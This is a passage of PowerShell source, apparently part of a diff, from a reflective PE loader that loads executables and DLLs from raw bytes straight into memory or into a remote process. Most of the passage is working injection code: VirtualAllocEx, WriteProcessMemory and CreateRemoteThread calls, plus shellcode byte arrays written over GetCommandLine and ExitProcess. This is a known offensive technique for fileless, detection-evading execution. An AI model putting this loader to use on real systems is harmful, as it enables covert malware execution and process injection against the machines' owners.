overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } + + + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if 